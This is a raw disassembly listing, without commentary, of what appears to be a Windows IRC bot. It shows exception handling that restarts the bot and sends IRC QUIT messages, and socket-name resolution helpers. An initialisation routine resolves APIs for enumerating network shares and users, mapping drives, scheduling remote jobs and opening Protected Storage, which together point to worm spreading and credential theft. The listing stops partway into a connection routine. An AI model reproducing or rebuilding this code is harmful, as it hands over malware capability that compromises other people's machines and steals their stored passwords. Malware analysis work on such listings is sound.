		mov	[ebp+var_8], offset aException_nonc ; "EXCEPTION_NONCONTINUABLE_EXCEPTION"
		jmp	short loc_403413
; ---------------------------------------------------------------------------


loc_403403:				; CODE XREF: sub_40332B+A7j
		mov	[ebp+var_8], offset aException_stac ; "EXCEPTION_STACK_OVERFLOW"
		jmp	short loc_403413
; ---------------------------------------------------------------------------


loc_40340C:				; CODE XREF: sub_40332B+8Fj
		mov	[ebp+var_8], offset aException_flt ; "EXCEPTION_FLT"


loc_403413:				; CODE XREF: sub_40332B+77j
					; sub_40332B+83j ...
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax+4], 1
		jnz	short loc_40342A
		mov	[ebp+var_114], offset aRestarting ; "Restarting"
		jmp	short loc_403434
; ---------------------------------------------------------------------------


loc_40342A:				; CODE XREF: sub_40332B+F1j
		mov	[ebp+var_114], offset aContinuing ; "Continuing"


loc_403434:				; CODE XREF: sub_40332B+FDj
		push	[ebp+var_114]
		push	[ebp+var_8]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		push	dword ptr [eax]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0C0h]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0B8h]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0C4h]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0B4h]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+9Ch]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0A0h]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0A8h]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0ACh]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0A4h]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0B0h]
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	offset dword_41864C
		push	offset dword_41DA80
		call	sub_40D4AB
		add	esp, 48h


loc_4034D9:				; CODE XREF: sub_40332B+21j
		mov	eax, [ebp+var_4]
		inc	eax
		cmp	eax, 64h
		jz	short loc_4034ED
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax+4], 1
		jnz	short loc_403558


loc_4034ED:				; CODE XREF: sub_40332B+1B5j
		push	104h
		lea	eax, [ebp+var_10C]
		push	eax
		push	0
		call	dword_41708C	; GetModuleHandleA
		push	eax
		call	dword_417090	; GetModuleFileNameA
		test	eax, eax
		jz	short loc_403545
		push	0
		push	0
		push	0
		lea	eax, [ebp+var_10C]
		push	eax
		push	offset aOpen	; "open"
		push	0
		call	dword_4171D0
		cmp	eax, 20h
		ja	short loc_403538
		push	offset aQuitExitting ; "QUIT :exitting"
		call	sub_40D6CB
		pop	ecx
		jmp	short loc_403543
; ---------------------------------------------------------------------------


loc_403538:				; CODE XREF: sub_40332B+1FEj
		push	offset aQuitRestarting ; "QUIT :restarting"
		call	sub_40D6CB
		pop	ecx


loc_403543:				; CODE XREF: sub_40332B+20Bj
		jmp	short loc_403550
; ---------------------------------------------------------------------------


loc_403545:				; CODE XREF: sub_40332B+1DFj
		push	offset aQuitRestarting ; "QUIT :restarting"
		call	sub_40D6CB
		pop	ecx


loc_403550:				; CODE XREF: sub_40332B:loc_403543j
		push	0
		call	dword_41705C	; ExitProcess


loc_403558:				; CODE XREF: sub_40332B+1C0j
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 80000003h
		jnz	short loc_403583
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		mov	eax, [eax+0B8h]
		inc	eax
		mov	ecx, [ebp+arg_0]
		mov	ecx, [ecx+4]
		mov	[ecx+0B8h], eax
		or	eax, 0FFFFFFFFh
		jmp	short locret_403586
; ---------------------------------------------------------------------------


loc_403583:				; CODE XREF: sub_40332B+238j
		push	1
		pop	eax

locret_403586:				; CODE XREF: sub_40332B+256j
		leave
		retn
sub_40332B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403588	proc near		; DATA XREF: sub_403BD3:loc_403D85o

var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2E		= word ptr -2Eh
var_2C		= dword	ptr -2Ch
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 48h
		cmp	[ebp+arg_8], 0
		jz	short loc_4035E2
		mov	eax, [ebp+arg_8]
		cmp	dword ptr [eax+4], 0
		jz	short loc_4035BB
		mov	eax, [ebp+arg_8]
		cmp	dword ptr [eax+4], 2
		jz	short loc_4035BB
		push	273Fh
		call	dword_417234	; WSASetLastError
		mov	eax, 273Fh
		jmp	locret_4038B6
; ---------------------------------------------------------------------------


loc_4035BB:				; CODE XREF: sub_403588+13j
					; sub_403588+1Cj
		mov	eax, [ebp+arg_8]
		cmp	dword ptr [eax+8], 1
		jz	short loc_4035E2
		mov	eax, [ebp+arg_8]
		cmp	dword ptr [eax+8], 2
		jz	short loc_4035E2
		push	273Ch
		call	dword_417234	; WSASetLastError
		mov	eax, 273Ch
		jmp	locret_4038B6
; ---------------------------------------------------------------------------


loc_4035E2:				; CODE XREF: sub_403588+Aj
					; sub_403588+3Aj ...
		cmp	[ebp+arg_0], 0
		jnz	loc_4036D6
		push	30h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_34], eax
		cmp	[ebp+var_34], 0
		jnz	short loc_40360D
		push	8
		call	dword_417234	; WSASetLastError
		push	8
		pop	eax
		jmp	locret_4038B6
; ---------------------------------------------------------------------------


loc_40360D:				; CODE XREF: sub_403588+73j
		push	30h
		push	0
		push	[ebp+var_34]
		call	sub_416B6A	; memset
		add	esp, 0Ch
		push	10h
		push	0
		lea	eax, [ebp+var_30]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	[ebp+var_30], 2
		cmp	[ebp+arg_4], 0
		jz	short loc_40364C
		push	[ebp+arg_4]
		call	sub_416B9C	; atoi
		pop	ecx
		push	eax
		call	dword_417238	; htons
		mov	[ebp+var_2E], ax


loc_40364C:				; CODE XREF: sub_403588+AEj
		mov	eax, [ebp+var_34]
		mov	dword ptr [eax+4], 2
		cmp	[ebp+arg_8], 0
		jz	short loc_403667
		mov	eax, [ebp+arg_8]
		mov	eax, [eax+8]
		mov	[ebp+var_38], eax
		jmp	short loc_40366E
; ---------------------------------------------------------------------------


loc_403667:				; CODE XREF: sub_403588+D2j
		mov	[ebp+var_38], 1


loc_40366E:				; CODE XREF: sub_403588+DDj
		mov	eax, [ebp+var_34]
		mov	ecx, [ebp+var_38]
		mov	[eax+8], ecx
		cmp	[ebp+arg_8], 0
		jz	short loc_403688
		mov	eax, [ebp+arg_8]
		mov	eax, [eax+0Ch]
		mov	[ebp+var_3C], eax
		jmp	short loc_40368F
; ---------------------------------------------------------------------------


loc_403688:				; CODE XREF: sub_403588+F3j
		mov	[ebp+var_3C], 6


loc_40368F:				; CODE XREF: sub_403588+FEj
		mov	eax, [ebp+var_34]
		mov	ecx, [ebp+var_3C]
		mov	[eax+0Ch], ecx
		mov	eax, [ebp+var_34]
		mov	dword ptr [eax+10h], 10h
		mov	eax, [ebp+var_34]
		add	eax, 20h
		mov	ecx, [ebp+var_34]
		mov	[ecx+18h], eax
		and	[ebp+var_2C], 0
		push	10h
		lea	eax, [ebp+var_30]
		push	eax
		mov	eax, [ebp+var_34]
		add	eax, 20h
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+arg_C]
		mov	ecx, [ebp+var_34]
		mov	[eax], ecx
		xor	eax, eax
		jmp	locret_4038B6
; ---------------------------------------------------------------------------


loc_4036D6:				; CODE XREF: sub_403588+5Ej
		push	[ebp+arg_0]
		call	dword_41723C	; gethostbyname
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0
		jnz	short loc_4036F2
		mov	eax, 2AFBh
		jmp	locret_4038B6
; ---------------------------------------------------------------------------


loc_4036F2:				; CODE XREF: sub_403588+15Ej
		and	[ebp+var_20], 0
		jmp	short loc_4036FF
; ---------------------------------------------------------------------------


loc_4036F8:				; CODE XREF: sub_403588+18Cj
		mov	eax, [ebp+var_20]
		inc	eax
		mov	[ebp+var_20], eax


loc_4036FF:				; CODE XREF: sub_403588+16Ej
		cmp	[ebp+var_14], 0
		jz	short loc_403716
		mov	eax, [ebp+var_14]
		mov	eax, [eax+0Ch]
		mov	ecx, [ebp+var_20]
		cmp	dword ptr [eax+ecx*4], 0
		jz	short loc_403716
		jmp	short loc_4036F8
; ---------------------------------------------------------------------------


loc_403716:				; CODE XREF: sub_403588+17Bj
					; sub_403588+18Aj
		cmp	[ebp+var_20], 0
		jnz	short loc_403726
		mov	eax, 2AFBh
		jmp	locret_4038B6
; ---------------------------------------------------------------------------


loc_403726:				; CODE XREF: sub_403588+192j
		mov	eax, [ebp+var_20]
		imul	eax, 30h
		push	eax
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 0
		jnz	short loc_40374C
		push	8
		call	dword_417234	; WSASetLastError
		push	8
		pop	eax
		jmp	locret_4038B6
; ---------------------------------------------------------------------------


loc_40374C:				; CODE XREF: sub_403588+1B2j
		mov	eax, [ebp+var_20]
		imul	eax, 30h
		push	eax
		push	0
		push	[ebp+var_1C]
		call	sub_416B6A	; memset
		add	esp, 0Ch
		push	10h
		push	0
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		cmp	[ebp+arg_4], 0
		jz	short loc_403790
		push	[ebp+arg_4]
		call	sub_416B9C	; atoi
		pop	ecx
		push	eax
		call	dword_417238	; htons
		mov	[ebp+var_E], ax


loc_403790:				; CODE XREF: sub_403588+1F2j
		and	[ebp+var_18], 0
		jmp	short loc_40379D
; ---------------------------------------------------------------------------


loc_403796:				; CODE XREF: sub_403588:loc_4038A7j
		mov	eax, [ebp+var_18]
		inc	eax
		mov	[ebp+var_18], eax


loc_40379D:				; CODE XREF: sub_403588+20Cj
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+var_20]
		jnb	loc_4038AC
		cmp	[ebp+arg_8], 0
		jz	short loc_4037B9
		mov	eax, [ebp+arg_8]
		mov	eax, [eax]
		mov	[ebp+var_40], eax
		jmp	short loc_4037C0
; ---------------------------------------------------------------------------


loc_4037B9:				; CODE XREF: sub_403588+225j
		mov	[ebp+var_40], 4


loc_4037C0:				; CODE XREF: sub_403588+22Fj
		mov	eax, [ebp+var_18]
		imul	eax, 30h
		mov	ecx, [ebp+var_1C]
		mov	edx, [ebp+var_40]
		mov	[ecx+eax], edx
		mov	eax, [ebp+var_18]
		imul	eax, 30h
		mov	ecx, [ebp+var_1C]
		mov	dword ptr [ecx+eax+4], 2
		cmp	[ebp+arg_8], 0
		jz	short loc_4037F1
		mov	eax, [ebp+arg_8]
		mov	eax, [eax+8]
		mov	[ebp+var_44], eax
		jmp	short loc_4037F8
; ---------------------------------------------------------------------------


loc_4037F1:				; CODE XREF: sub_403588+25Cj
		mov	[ebp+var_44], 1


loc_4037F8:				; CODE XREF: sub_403588+267j
		mov	eax, [ebp+var_18]
		imul	eax, 30h
		mov	ecx, [ebp+var_1C]
		mov	edx, [ebp+var_44]
		mov	[ecx+eax+8], edx
		cmp	[ebp+arg_8], 0
		jz	short loc_403819
		mov	eax, [ebp+arg_8]
		mov	eax, [eax+0Ch]
		mov	[ebp+var_48], eax
		jmp	short loc_403820
; ---------------------------------------------------------------------------


loc_403819:				; CODE XREF: sub_403588+284j
		mov	[ebp+var_48], 6


loc_403820:				; CODE XREF: sub_403588+28Fj
		mov	eax, [ebp+var_18]
		imul	eax, 30h
		mov	ecx, [ebp+var_1C]
		mov	edx, [ebp+var_48]
		mov	[ecx+eax+0Ch], edx
		mov	eax, [ebp+var_18]
		imul	eax, 30h
		mov	ecx, [ebp+var_1C]
		mov	dword ptr [ecx+eax+10h], 10h
		mov	eax, [ebp+var_18]
		imul	eax, 30h
		mov	ecx, [ebp+var_1C]
		lea	eax, [ecx+eax+20h]
		mov	ecx, [ebp+var_18]
		imul	ecx, 30h
		mov	edx, [ebp+var_1C]
		mov	[edx+ecx+18h], eax
		mov	eax, [ebp+var_14]
		mov	eax, [eax+0Ch]
		mov	ecx, [ebp+var_18]
		mov	eax, [eax+ecx*4]
		mov	eax, [eax]
		mov	[ebp+var_C], eax
		push	10h
		lea	eax, [ebp+var_10]
		push	eax
		mov	eax, [ebp+var_18]
		imul	eax, 30h
		mov	ecx, [ebp+var_1C]
		lea	eax, [ecx+eax+20h]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		cmp	[ebp+var_18], 0
		jz	short loc_4038A7
		mov	eax, [ebp+var_18]
		imul	eax, 30h
		mov	ecx, [ebp+var_1C]
		add	ecx, eax
		mov	eax, [ebp+var_18]
		dec	eax
		imul	eax, 30h
		mov	edx, [ebp+var_1C]
		mov	[edx+eax+1Ch], ecx


loc_4038A7:				; CODE XREF: sub_403588+304j
		jmp	loc_403796
; ---------------------------------------------------------------------------


loc_4038AC:				; CODE XREF: sub_403588+21Bj
		mov	eax, [ebp+arg_C]
		mov	ecx, [ebp+var_1C]
		mov	[eax], ecx
		xor	eax, eax

locret_4038B6:				; CODE XREF: sub_403588+2Ej
					; sub_403588+55j ...
		leave
		retn	10h
sub_403588	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4038BA	proc near		; DATA XREF: sub_403BD3+1BCo

var_434		= dword	ptr -434h
var_430		= byte ptr -430h
var_410		= dword	ptr -410h
var_40C		= dword	ptr -40Ch
var_408		= dword	ptr -408h
var_404		= byte ptr -404h
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 434h
		cmp	[ebp+arg_8], 0
		jnz	short loc_4038CF
		cmp	[ebp+arg_10], 0
		jz	short loc_4038D8


loc_4038CF:				; CODE XREF: sub_4038BA+Dj
		mov	eax, [ebp+arg_18]
		and	al, 0E0h
		test	eax, eax
		jz	short loc_4038ED


loc_4038D8:				; CODE XREF: sub_4038BA+13j
		push	2726h
		call	dword_417234	; WSASetLastError
		mov	eax, 2726h
		jmp	locret_403BB9
; ---------------------------------------------------------------------------


loc_4038ED:				; CODE XREF: sub_4038BA+1Cj
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_40C], eax
		mov	eax, [ebp+var_40C]
		movsx	eax, word ptr [eax]
		cmp	eax, 2
		jz	short loc_403919
		push	273Fh
		call	dword_417234	; WSASetLastError
		mov	eax, 273Fh
		jmp	locret_403BB9
; ---------------------------------------------------------------------------


loc_403919:				; CODE XREF: sub_4038BA+48j
		cmp	[ebp+arg_8], 0
		jz	loc_403ABA
		mov	eax, [ebp+var_40C]
		push	dword ptr [eax+4]
		call	dword_41721C	; inet_ntoa
		mov	[ebp+var_434], eax
		cmp	[ebp+var_434], 0
		jnz	short loc_403949
		or	eax, 0FFFFFFFFh
		jmp	locret_403BB9
; ---------------------------------------------------------------------------


loc_403949:				; CODE XREF: sub_4038BA+85j
		push	401h
		push	[ebp+var_434]
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		mov	eax, [ebp+arg_18]
		and	eax, 2
		test	eax, eax
		jz	short loc_403972
		jmp	loc_403BB4
; ---------------------------------------------------------------------------


loc_403972:				; CODE XREF: sub_4038BA+B1j
		mov	eax, [ebp+arg_18]
		and	eax, 4
		test	eax, eax
		jz	short loc_4039F4
		push	0
		push	4
		mov	eax, [ebp+var_40C]
		add	eax, 4
		push	eax
		call	dword_417220	; gethostbyaddr
		mov	[ebp+var_410], eax
		cmp	[ebp+var_410], 0
		jnz	short loc_4039AA
		call	dword_417224	; WSAGetLastError
		jmp	locret_403BB9
; ---------------------------------------------------------------------------


loc_4039AA:				; CODE XREF: sub_4038BA+E3j
		mov	eax, [ebp+var_410]
		push	dword ptr [eax]
		call	sub_416B40	; strlen
		pop	ecx
		inc	eax
		cmp	eax, [ebp+arg_C]
		jbe	short loc_4039D3
		push	2747h
		call	dword_417234	; WSASetLastError
		mov	eax, 2747h
		jmp	locret_403BB9
; ---------------------------------------------------------------------------


loc_4039D3:				; CODE XREF: sub_4038BA+102j
		push	401h
		mov	eax, [ebp+var_410]
		push	dword ptr [eax]
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		jmp	loc_403ABA
; ---------------------------------------------------------------------------


loc_4039F4:				; CODE XREF: sub_4038BA+C0j
		mov	eax, [ebp+arg_18]
		and	eax, 1
		test	eax, eax
		jz	loc_403A92
		mov	eax, [ebp+var_40C]
		cmp	dword ptr [eax+4], 7F000001h
		jz	short loc_403A1D
		mov	eax, [ebp+var_40C]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_403A92


loc_403A1D:				; CODE XREF: sub_4038BA+155j
		push	0
		push	4
		mov	eax, [ebp+var_40C]
		add	eax, 4
		push	eax
		call	dword_417220	; gethostbyaddr
		mov	[ebp+var_410], eax
		cmp	[ebp+var_410], 0
		jnz	short loc_403A4B
		call	dword_417224	; WSAGetLastError
		jmp	locret_403BB9
; ---------------------------------------------------------------------------


loc_403A4B:				; CODE XREF: sub_4038BA+184j
		mov	eax, [ebp+var_410]
		push	dword ptr [eax]
		call	sub_416B40	; strlen
		pop	ecx
		inc	eax
		cmp	eax, [ebp+arg_C]
		jbe	short loc_403A74
		push	2747h
		call	dword_417234	; WSASetLastError
		mov	eax, 2747h
		jmp	locret_403BB9
; ---------------------------------------------------------------------------


loc_403A74:				; CODE XREF: sub_4038BA+1A3j
		push	401h
		mov	eax, [ebp+var_410]
		push	dword ptr [eax]
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		jmp	short loc_403ABA
; ---------------------------------------------------------------------------


loc_403A92:				; CODE XREF: sub_4038BA+142j
					; sub_4038BA+161j ...
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		inc	eax
		cmp	eax, [ebp+arg_C]
		jbe	short loc_403ABA
		push	2747h
		call	dword_417234	; WSASetLastError
		mov	eax, 2747h
		jmp	locret_403BB9
; ---------------------------------------------------------------------------


loc_403ABA:				; CODE XREF: sub_4038BA+63j
					; sub_4038BA+135j ...
		cmp	[ebp+arg_10], 0
		jz	loc_403B99
		push	8
		pop	eax
		test	eax, eax
		jz	short loc_403B2C
		push	0Ah
		lea	eax, [ebp+var_430]
		push	eax
		mov	eax, [ebp+var_40C]
		mov	ax, [eax+2]
		push	eax
		call	dword_417238	; htons
		movzx	eax, ax
		push	eax
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		lea	eax, [ebp+var_430]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		inc	eax
		cmp	eax, [ebp+arg_14]
		jbe	short loc_403B19
		push	2747h
		call	dword_417234	; WSASetLastError
		mov	eax, 2747h
		jmp	locret_403BB9
; ---------------------------------------------------------------------------


loc_403B19:				; CODE XREF: sub_4038BA+248j
		lea	eax, [ebp+var_430]
		push	eax
		push	[ebp+arg_10]
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_403B99
; ---------------------------------------------------------------------------


loc_403B2C:				; CODE XREF: sub_4038BA+20Fj
		mov	eax, [ebp+arg_18]
		and	eax, 10h
		neg	eax
		sbb	eax, eax
		and	eax, offset aUdp ; "udp"
		push	eax
		mov	eax, [ebp+var_40C]
		movzx	eax, word ptr [eax+2]
		push	eax
		call	dword_417228	; getservbyport
		mov	[ebp+var_408], eax
		cmp	[ebp+var_408], 0
		jnz	short loc_403B61
		or	eax, 0FFFFFFFFh
		jmp	short locret_403BB9
; ---------------------------------------------------------------------------


loc_403B61:				; CODE XREF: sub_4038BA+2A0j
		mov	eax, [ebp+var_408]
		push	dword ptr [eax]
		call	sub_416B40	; strlen
		pop	ecx
		inc	eax
		cmp	eax, [ebp+arg_14]
		jbe	short loc_403B87
		push	2747h
		call	dword_417234	; WSASetLastError
		mov	eax, 2747h
		jmp	short locret_403BB9
; ---------------------------------------------------------------------------


loc_403B87:				; CODE XREF: sub_4038BA+2B9j
		mov	eax, [ebp+var_408]
		push	dword ptr [eax]
		push	[ebp+arg_10]
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_403B99:				; CODE XREF: sub_4038BA+204j
					; sub_4038BA+270j
		cmp	[ebp+arg_8], 0
		jz	short loc_403BB0
		lea	eax, [ebp+var_404]
		push	eax
		push	[ebp+arg_8]
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_403BB0:				; CODE XREF: sub_4038BA+2E3j
		xor	eax, eax
		jmp	short locret_403BB9
; ---------------------------------------------------------------------------


loc_403BB4:				; CODE XREF: sub_4038BA+B3j
		jmp	loc_403A92
; ---------------------------------------------------------------------------

locret_403BB9:				; CODE XREF: sub_4038BA+2Ej
					; sub_4038BA+5Aj ...
		leave
		retn	1Ch
sub_4038BA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403BBD	proc near		; DATA XREF: sub_403BD3+1C6o

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_0], 0
		jz	short loc_403BCF
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx


loc_403BCF:				; CODE XREF: sub_403BBD+7j
		pop	ebp
		retn	4
sub_403BBD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403BD3	proc near		; CODE XREF: MEW:loc_4168BCp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	offset aKernel32_dll ; "kernel32.dll"
		call	dword_417054	; LoadLibraryA
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jz	short loc_403C00
		push	offset aInitializecrit ; "InitializeCriticalSectionAndSpinCount"
		push	[ebp+var_C]
		call	dword_417058	; GetProcAddress
		mov	dword_41DE10, eax


loc_403C00:				; CODE XREF: sub_403BD3+18j
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	dword_417054	; LoadLibraryA
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0
		jz	loc_403CC3
		push	offset aNetusegetinfo ;	"NetUseGetInfo"
		push	[ebp+var_14]
		call	dword_417058	; GetProcAddress
		mov	dword_41DE18, eax
		push	offset aNetuseadd ; "NetUseAdd"
		push	[ebp+var_14]
		call	dword_417058	; GetProcAddress
		mov	dword_41DE1C, eax
		push	offset aNetusedel ; "NetUseDel"
		push	[ebp+var_14]
		call	dword_417058	; GetProcAddress
		mov	dword_41DE20, eax
		push	offset aNetuserenum ; "NetUserEnum"
		push	[ebp+var_14]
		call	dword_417058	; GetProcAddress
		mov	dword_41DE24, eax
		push	offset aNetshareenum ; "NetShareEnum"
		push	[ebp+var_14]
		call	dword_417058	; GetProcAddress
		mov	dword_41DE28, eax
		push	offset aNetremotetod ; "NetRemoteTOD"
		push	[ebp+var_14]
		call	dword_417058	; GetProcAddress
		mov	dword_41DE2C, eax
		push	offset aNetapibufferfr ; "NetApiBufferFree"
		push	[ebp+var_14]
		call	dword_417058	; GetProcAddress
		mov	dword_41DE30, eax
		push	offset aNetschedulejob ; "NetScheduleJobAdd"
		push	[ebp+var_14]
		call	dword_417058	; GetProcAddress
		mov	dword_41DE34, eax
		push	offset aNetaddalternat ; "NetAddAlternateComputerName"
		push	[ebp+var_14]
		call	dword_417058	; GetProcAddress
		mov	dword_41DE38, eax


loc_403CC3:				; CODE XREF: sub_403BD3+3Fj
		push	offset aMpr_dll	; "mpr.dll"
		call	dword_417054	; LoadLibraryA
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_403D23
		push	offset aWnetaddconnect ; "WNetAddConnection2A"
		push	[ebp+var_8]
		call	dword_417058	; GetProcAddress
		mov	dword_41DE3C, eax
		push	offset aWnetaddconne_0 ; "WNetAddConnection2W"
		push	[ebp+var_8]
		call	dword_417058	; GetProcAddress
		mov	dword_41DE40, eax
		push	offset aWnetcancelconn ; "WNetCancelConnection2A"
		push	[ebp+var_8]
		call	dword_417058	; GetProcAddress
		mov	dword_41DE44, eax
		push	offset aWnetcancelco_0 ; "WNetCancelConnection2W"
		push	[ebp+var_8]
		call	dword_417058	; GetProcAddress
		mov	dword_41DE48, eax


loc_403D23:				; CODE XREF: sub_403BD3+102j
		push	offset aWs2_32_dll ; "ws2_32.dll"
		call	dword_417054	; LoadLibraryA
		mov	[ebp+var_4], eax
		push	offset aGetaddrinfo ; "getaddrinfo"
		push	[ebp+var_4]
		call	dword_417058	; GetProcAddress
		mov	dword_41DE54, eax
		push	offset aGetnameinfo ; "getnameinfo"
		push	[ebp+var_4]
		call	dword_417058	; GetProcAddress
		mov	dword_41DE58, eax
		push	offset aFreeaddrinfo ; "freeaddrinfo"
		push	[ebp+var_4]
		call	dword_417058	; GetProcAddress
		mov	dword_41DE5C, eax
		cmp	dword_41DE54, 0
		jz	short loc_403D85
		cmp	dword_41DE58, 0
		jz	short loc_403D85
		cmp	dword_41DE5C, 0
		jnz	short loc_403DA3


loc_403D85:				; CODE XREF: sub_403BD3+19Ej
					; sub_403BD3+1A7j
		mov	dword_41DE54, offset sub_403588
		mov	dword_41DE58, offset sub_4038BA
		mov	dword_41DE5C, offset sub_403BBD


loc_403DA3:				; CODE XREF: sub_403BD3+1B0j
		push	offset aPstorec_dll ; "pstorec.dll"
		call	dword_417054	; LoadLibraryA
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jz	short loc_403DCA
		push	offset aPstorecreatein ; "PStoreCreateInstance"
		push	[ebp+var_10]
		call	dword_417058	; GetProcAddress
		mov	dword_41DE50, eax


loc_403DCA:				; CODE XREF: sub_403BD3+1E2j
		push	offset aWininet_dll ; "wininet.dll"
		call	dword_417054	; LoadLibraryA
		mov	[ebp+var_18], eax
		cmp	[ebp+var_18], 0
		jz	short locret_403DF1
		push	offset aInternetgetcon ; "InternetGetConnectedStateExA"
		push	[ebp+var_18]
		call	dword_417058	; GetProcAddress
		mov	dword_41DE4C, eax

locret_403DF1:				; CODE XREF: sub_403BD3+209j
		leave
		retn
sub_403BD3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403DF3	proc near		; DATA XREF: sub_403FE5+89o

var_1228	= dword	ptr -1228h
var_1224	= byte ptr -1224h
var_1200	= byte ptr -1200h
var_11DC	= byte ptr -11DCh
var_11B8	= dword	ptr -11B8h
var_11B4	= dword	ptr -11B4h
var_11B0	= dword	ptr -11B0h
var_11AC	= byte ptr -11ACh
var_11A6	= byte ptr -11A6h
var_1000	= byte ptr -1000h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1228h
		call	sub_416BC0
		push	1ADh
		push	[ebp+arg_0]
		lea	eax, [ebp+var_11B0]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		push	1
		lea	eax, [ebp+var_11AC]
		push	eax
		call	sub_4046BC
		pop	ecx
		pop	ecx
		mov	[ebp+var_11B4],	eax
		cmp	[ebp+var_11B4],	0
		jnz	short loc_403E52
		push	[ebp+var_11B0]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_403FE1
; ---------------------------------------------------------------------------


loc_403E52:				; CODE XREF: sub_403DF3+4Aj
		lea	eax, [ebp+var_11AC]
		push	eax
		mov	eax, [ebp+var_11B0]
		push	dword ptr [eax]
		push	offset dword_4189C4
		lea	eax, [ebp+var_11A6]
		push	eax
		call	sub_40D53F
		add	esp, 10h


loc_403E75:				; CODE XREF: sub_403DF3+BDj
					; sub_403DF3+10Fj ...
		push	3E8h
		push	[ebp+var_11B4]
		call	sub_4048EF
		pop	ecx
		pop	ecx
		mov	[ebp+var_11B8],	eax
		mov	eax, [ebp+var_11B0]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_403EA2
		cmp	[ebp+var_11B8],	0
		jnz	short loc_403EA7


loc_403EA2:				; CODE XREF: sub_403DF3+A4j
		jmp	loc_403FC7
; ---------------------------------------------------------------------------


loc_403EA7:				; CODE XREF: sub_403DF3+ADj
		cmp	[ebp+var_11B8],	0FFFFFFFFh
		jnz	short loc_403EB2
		jmp	short loc_403E75
; ---------------------------------------------------------------------------


loc_403EB2:				; CODE XREF: sub_403DF3+BBj
		push	1000h
		lea	eax, [ebp+var_1000]
		push	eax
		push	[ebp+var_11B8]
		call	sub_4053DC
		add	esp, 0Ch
		mov	[ebp+var_1228],	eax
